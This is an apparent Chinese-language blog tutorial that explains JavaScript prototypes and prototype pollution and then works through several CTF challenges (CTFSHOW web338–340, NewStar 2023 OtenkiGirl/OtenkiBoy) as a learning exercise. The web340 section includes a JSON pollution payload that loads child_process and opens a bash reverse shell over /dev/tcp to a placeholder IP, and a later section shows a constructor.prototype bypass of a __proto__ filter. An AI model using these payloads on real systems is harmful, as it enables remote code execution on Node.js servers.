零基础通关JS原型污染

由 Zacarx 发布

前言

本文将从最基础的js前置知识将到原型污染
最后通过几道例题加以应用,希望对正在网络安全路上奔跑的你有所帮助。
后续还会讲解一些比较难的知识点,敬请关注。

js对象

const user ={
    user : "zacarx",
    id : "12345",
    pass : "123456"
}

console.log(user.user);
console.log(user.id);
console.log(user.pass);

输出

zacarx
12345
123456

这一点和java等编程很像

js原型

js原型也叫做js原型对象是一种对象属性,每一个函数都有一个属性,这个属性就是prototype。
prototype原型对象给构造函数添加方法就可以解决这个问题,添加到prototype原型上的方法
会被该构造函数,所构造出来的所有对象共享。

Array.prototype.sum  =  function(){
    var  res  =  0;  //  用于记录求和结果
    for(var  i  =  0;  i  <  this.length;  i++){
        res  +=  this[i];
    }
    return  res;
};

var  arr1  =  [1,2,3,4,5];  //  这里使用了数组字面量,而不是  new  Array
var  arr2  =  [10,20,30,40,50];  //  同上

//  弹出  arr1  的元素和,应该是  15
alert(arr1.sum());

//  弹出  arr2  的元素和,应该是  150
alert(arr2.sum());

//  弹出  true,因为  arr1.sum  和  arr2.sum  都是指向  Array  原型上的同一个函数
alert(arr1.sum  ==  arr2.sum);

alert(arr1.sum() == arr2.sum()); //false

原型链

构造函数构造出来的对象,拥有一个proto的这么一个属性,这个proto还可以有它自己的proto,以此类推,就形成了一个原型链。 非常形象
下面是一个例子

function Person(name){
    this.name = name;
}

Person.prototype.sayname = function(){
    console.log("Hi 我是 "+ this.name);
}

var person1 = new Person("Zacarx");
person1.sayname();

function Student(name,grade){
    Person.call(this,name);
    this.grade = grade;
}

Student.prototype = Object.create(Person.prototype);
Student.prototype.constructor = Student;
//继承Person,并且创建constructor属性保持Student完整

Student.prototype.saygrade = function(){
    console.log("今年上"+ this.grade);
}

var student1 = new Student("Zacarx","大学二年级");

student1.saygrade();

输出

Hi 我是 Zacarx
今年上大学二年级

因为有面向对象的基础,因此很简单,下面值得了解的几个点

Student.prototype = Object.create(Person.prototype);
Student.prototype.constructor = Student;

我们继承Person后,创建constructor属性
为什么要这样做呢
原因如下:
在默认情况下,每个原型对象都会自动获得一个constructor属性,这个属性指向其对应的构造函数。当我们替换了Student.prototype,这个默认的constructor属性就丢失了。
那么constructor作用都是什么呢
往下看:

constructor

1.检查对象是由哪个构造函数创建的

function  Person(name)  {
      this.name  =  name;
}

var  person1  =  new  Person('Zacarx');

console.log(person1.constructor  ===  Person);  //  true

2.不知道具体构造函数的情况下,从现有实例创建新实例

var  person2  =  new  person1.constructor('moez');
console.log(person2.name);  //  'moez'
console.log(person2  instanceof  Person);  //  true

3. 重置构造函数

Student.prototype = Object.create(Person.prototype);
Student.prototype.constructor = Student;

刚才的例子就可以说明

4.类型判断

var  myArray  =  [1,  2,  3];
console.log(myArray.constructor  ===  Array);  //  true

proto属性

_proto(在新版本的JavaScript中,我们使用Object.getPrototypeOf()作为标准方法)是每个对象内部用来指向其构造函数的原型对象(prototype)的属性。这个属性通常被用于原型链的查找机制,允许对象访问定义在其原型上的属性和方法。
下面是几个例子

访问原型链上的属性

function  Animal(name)  {
      this.name  =  name;
}

Animal.prototype.greet  =  function()  {
      console.log(`Hello,  my  name  is  ${this.name}`);
};

var  myAnimal  =  new  Animal('Mittens');

//  直接访问原型链上的方法
myAnimal.__proto__.greet.call(myAnimal);  //  输出:  Hello,  my  name  is  Mittens

//  使用Object.getPrototypeOf()替代__proto__
Object.getPrototypeOf(myAnimal).greet.call(myAnimal);  //  输出:  Hello,  my  name  is  Mittens

有一点java中反射的味道( T_T )
myAnimal.proto指向Animal.prototype,允许我们直接调用定义在Animal原型上的greet方法。

下面是重头戏

修改原型链

参考https://blog.csdn.net/qq_38643776/article/details/88951652举几个例子
修改proto的例子

var arr = [1,2,3];
arr.__proto__.addClass = function () {
    console.log(123);
}
arr.push(4);
arr.addClass();   // 123

完全重写 proto 的例子

var arr = [1,2,3];
arr.__proto__ = {
    addClass: function () {
        console.log(123);
    }
};
arr.addClass();   // 123

prototype和proto的区别

除了 prototype 但我们写ctf都是proto什么什么的
两者很像,我们看看其有什么区别

  1. prototype是函数的属性,而proto(或Object.getPrototypeOf())是对象的属性。
  2. prototype用于定义可以被所有实例共享的属性和方法,而proto用于访问对象的原型链,即它的构造函数的原型。
  3. prototype存在于整个生命周期,而proto在对象创建时指向其构造函数的prototype,之后可能会因为原型链的修改而改变。

这么一看,这哥俩显然是两个服务生,一个prototype服务函数,另一个则服务对象

原型污染漏洞

在JavaScript中,对象是通过原型链继承属性和方法的。原型污染发生时,攻击者可以修改或污染对象的原型,从而影响所有基于该原型创建的对象。
推荐阅读:
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf

要想完成原型污染利用,就需要三个关键点:原型污染source、sink和可利用的利用链

Source

是指攻击者可以控制的输入点,它允许将任意属性注入到对象的原型链中。这个输入点可能是用户输入、第三方库的输入、未经验证的数据源等。在JavaScript中,如果未对这种输入进行适当的校验和清理,它就可以被用来修改对象的原型。

function  merge(obj1,  obj2)  {
      Object.assign(obj1,  obj2);
}

let  maliciousInput  =  {  __proto__:  {  evilMethod:  ()  =>  {  /*  arbitrary  code  */  }  };
let  safeObject  =  {};

merge(safeObject,  maliciousInput); 
//  如果merge函数没有正确处理,可能导致原型污染
//maliciousInput就是原型污染的source

Sink

是指一个能够利用被污染的原型链执行任意代码的函数或DOM元素。Sink通常是一个在应用程序中有特定功能的点,例如执行某些操作或调用其他函数。如果攻击者能够控制通过原型链传递到sink的属性或方法,那么他们就可能执行恶意代码。

Object.prototype.toString  =  ()  =>  {  /*  arbitrary  code  */  };

let  someObject  =  {};
console.log(someObject.toString());  //  如果toString被污染,这里将执行恶意代码

//console.log就是sink,因为它最终调用了被污染的toString方法。

可利用的利用链

是指从原型污染source到sink的路径,攻击者可以利用这条路径传递恶意数据并执行代码。这条链可能涉及多个步骤,包括数据传递、原型链的修改、以及最终在sink点的代码执行。

常见利用

最常见的原型污染是在以下结构/操作中发现的
对象的递归合并(例如,https://github.com/jonschlinkert/merge-deep
克隆对象 (例如,https://github.com/jonschlinkert/clone-deep
将GET参数转换为JavaScript对象 (例如,https://github.com/AceMetrix/jquery-deparam
将 .toml 或 .ini 配置文件转换为JavaScript对象(例如,npm/ini)

一个经典案例:

对象递归合并

https://www.freebuf.com/articles/web/275619.html 大佬举了个例子
为了直观一点我改了16,18行代码

const merge = (target, source) => {
    // Iterate through `source` properties and if an `Object` set property to merge of `target` and `source` properties
    for (const key of Object.keys(source)) {
      if (source[key] instanceof Object) Object.assign(source[key], merge(target[key], source[key]))
    }
    // Join `target` and modified `source`
    Object.assign(target || {}, source)
    return target
  }
  function Person(name,age,gender){
      this.name=name;
      this.age=age;
      this.gender=gender;
  }
  let newperson=new Person("",22,"male");
  let job=JSON.parse('{"title":"Security Engineer","country":"China","__proto__":{"hacker":"Zacarx"}}');
  merge(newperson,job);
  console.log(newperson.hacker);

我们调试会发现,递归的时候,当递归到proto,由于proto是所有JavaScript对象都有的内置属性,而Object.assign不会复制源对象的原型,但是当它作为普通的可枚举属性出现时,Object.assign却会将其视作普通对象属性进行复制。这意味着在执行merge函数时,source[proto]会被认为是一个需要合并的对象,并且它最终会被赋值给target[proto](newperson[proto])故,只有不安全的递归合并函数才会导致原型链污染,非递归的算法是不会导致原型链污染的
因此,里面的属性也会被合并,如下图:

就导致newperson也有了hacker属性
即,如果job属性和值可控那么就可以造成攻击的可能
而如果我们还能找到一个Sink那么就能完成攻击

CTF中的原型污染

我们看几道题看看都考的是什么

CTFSHOW_web338

代码主要是下面两页
login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }

});

module.exports = router;

../utils/common.js

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

这显然就是刚提到的对象递归合并,而且更加通俗易懂
我们故技重施看看:

像这种题 如果污染错了,要及时重开环境 不然会会一直500报错

CTFSHOW_web339

这题比上题难挺多,没写出来,可能是做得少吧

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }

api.js

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});

});

原理也不难
通过 login.js 里的 utils.copy(user,req.body); 污染原型,然后访问 api 的时候由于 query未定义,所以会向其原型找,那么通过污染原型构造恶意代码即可rce
本地试试


CTFSHOW_web340

修改了一下代码

utils.copy(user.userinfo,req.body);

需要向上两级污染
也不难

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/3333 0>&1\"')"}}}

2023newstar_OtenkiGirl

因为是新生赛还给了hint,人还怪好,不过新生赛出这个多少有点打击新生自信

题目代码很多不过前面的题要是都看懂了,这解题简直如探囊取物
route目录就三个js文件

sql.js

-- 数据库配置和功能实现,没什么看的

submit.js

--这个得好好分析
首先一眼就看到了

const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
    }
    return dst;
}

那这个题显然有原型污染了

查看调用
发现除了递归用了一次,只有一处用到了这个函数
全部拿来看看

发现貌似是让我们post一个json就能调用了
然后我们再看看别的代码

info.js


当我们post请求他就会返回信息
我们看看getinfo

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

这个函数意思就是设立一个最小时间戳和路由传入的时间戳
然后比较大小,谁大就选谁为真timestamp
然后查询数据库,把截至到真timestamp之前的wishid数据返回,那么这里的数据显然是缺失的,要想得到完整数据那么我们就得把最小时间戳赋值下, 也就是修改下min_public_time
我随便整个1970年的时间戳,666(其实随便写一个小一点的数字都可以,按照配置写时间应该也行)

现在访问info路由
现在看是看不到的

我们把info后面的数字改小一些

这样就看到flag了
除此之外newstar_还有个newstar_OtenkiBoy ,难度颇高,有时间可以自己看看

2023newstar_OtenkiBoy

又是一个提示

## createDate 的功能

将传入的 str 根据 format 模板字符串获取时间信息,返回 Date 对象。如果没有匹配的 format 字符串,将采用默认的对 str 的处理方式

默认的对 str 的处理支持识别 ISO 格式和众多传统格式,分隔符附近允许出现空格,ISO 格式月份、日期等也不一定要在前面补 0

**提示**:相关的实现过程不必深入解读,重点关注 createDate 的 opts 处理和注释 utility functions 的部分

## Utility Functions 说明

- isLeepYear - 检测闰年
- MonthDay - 一个月的天数
- pad - 在字符前面补 0
- getYMD - 传入较为灵活的日期字符串,返回年份、月份、日期
- getHMS - 传入较为灵活的时间字符串,返回小时、分钟、秒(如果未指定,默认为0)、毫秒(如果未指定,则不返回)

这次要难一些,一个是merge变成了mergeJson,加了过滤

const mergeJSON = function (target, patch, deep = false) {
    if (typeof patch !== "object") return patch;
    if (Array.isArray(patch)) return patch; // do not recurse into arrays
    if (!target) target = {}
    if (deep) { target = copyJSON(target), patch = copyJSON(patch); }
    for (let key in patch) {
        if (key === "__proto__") continue;
        if (target[key] !== patch[key])
            target[key] = mergeJSON(target[key], patch[key]);
    }
    return target;
}

不过这个用constructor.prototype就能绕过,很简单

还有一个提到的createDate就很麻烦了
这个函数主要用在info路由的时间戳和min时间戳上
如下

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp;
    try {
        minTimestamp = createDate(CONFIG.min_public_time).getTime();
        if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
    } catch (e) {
        console.warn(`\x1b[33m${e.message}\x1b[0m`);
        console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
        minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, { UTC: false, baseDate: LauchTime }).getTime();
    }
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

下面看看createDate
这一百多行代码看完人都麻了,这显然更像是开发题目,显然让我看这个多少有些浪费时间
于是我搬出最强帕鲁gpt4帮我读, 不过不知道ai的智力水平没到这个程度还是他太懒了,草草敷衍,服了
于是我又看起了hint

重点关注 createDate 的 opts 处理和注释 utility functions 的部分

先看opt处理部分

核心有两点

opts.format = opts.format || CopiedDefaultOptions.format;
opts.baseDate = new Date(opts.baseDate || Date.now());

这两个都可以通过原型污染绕过

if (typeof yyyy === "string" && typeof MM === "string" && typeof dd === "string" &&
                typeof HH === "string" && typeof mm === "string" && typeof ss === "string") {
                return new Date(`${yyyy}-${MM}-${dd}T${HH}:${mm}:${ss}` + (typeof fff === "string" ? `.${fff}` : "") + (UTC ? "Z" : ""));
            } else return new Date("Invalid Date");‵

结合上文我们可以污染fff为无效的字符,使最后的返回时间无效,执行最开头catch中的内容,此时取得是DEFAULT_CONFIG.min_public_time,也就是min_public_time: "2019-07-08T16:00:00.000Z",结合之前讲的yy标识符,我们只需要污染format为:yy19-MM-ddTHH:mm:ss.fffZ 就能将返回时间改成shou1919-07-08T16:00:00.000Z.

{  
    "contact":"a", "reason":"a",  
    "constructor":{    
        "prototype":{      
            "format": "yy19-MM-ddTHH:mm:ss.fffZ",      
            "baseDate":"aaa",      
            "fff": "bbb"    
        }  
    }
}

扫描二维码,在手机上阅读

0条评论

发表评论